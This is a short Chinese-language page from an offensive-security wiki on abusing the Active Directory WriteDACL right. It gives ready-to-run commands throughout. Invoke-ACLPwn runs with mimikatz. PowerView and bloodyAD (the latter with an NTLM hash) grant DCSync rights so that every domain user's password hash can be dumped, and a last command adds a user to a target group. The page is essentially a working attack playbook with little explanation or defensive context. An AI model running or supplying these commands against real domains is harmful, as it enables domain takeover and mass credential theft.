> For the complete documentation index, see [llms.txt](https://www.heresecurity.wiki/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.heresecurity.wiki/heng-xiang-yi-dong/activedirectory-de-acl-he-ace/writedacl.md).

# WriteDACL

```
WriteDACL权限可以修改域对象的ACL，最终实现利用DCSync导出域内所有用户hash
Invoke-ACLPwn是一个自动发现和 pwnage Active Directory 中配置不安全的 ACL 的工具
https://github.com/fox-it/Invoke-ACLPwn
>./Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe -Username 'user1' -Domain 'domain.local' -Password 'Welcome01!'
```

**域上的 WriteDACL**

```
Windows 上
将 DCSync 权限授予主体身份
>Import-Module .\PowerView.ps1
>$SecPassword = ConvertTo-SecureString 'user1pwd' -AsPlainText -Force
>$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN.LOCAL\user1', $SecPassword)
>Add-DomainObjectAcl -Credential $Cred -TargetIdentity 'DC=domain,DC=local' -Rights DCSync -PrincipalIdentity user2 -Verbose -Domain domain.local 
Linux 上
将 DCSync 权限授予主体身份
>bloodyAD.py --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B addDomainSync user2
DCSync后移除权限
>bloodyAD.py --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B delDomainSync user2
```

**组上的 WriteDACL**

```
>Add-DomainObjectAcl -TargetIdentity "INTERESTING_GROUP" -Rights WriteMembers -PrincipalIdentity User1
>net group "INTERESTING_GROUP" User1 /add /domain
```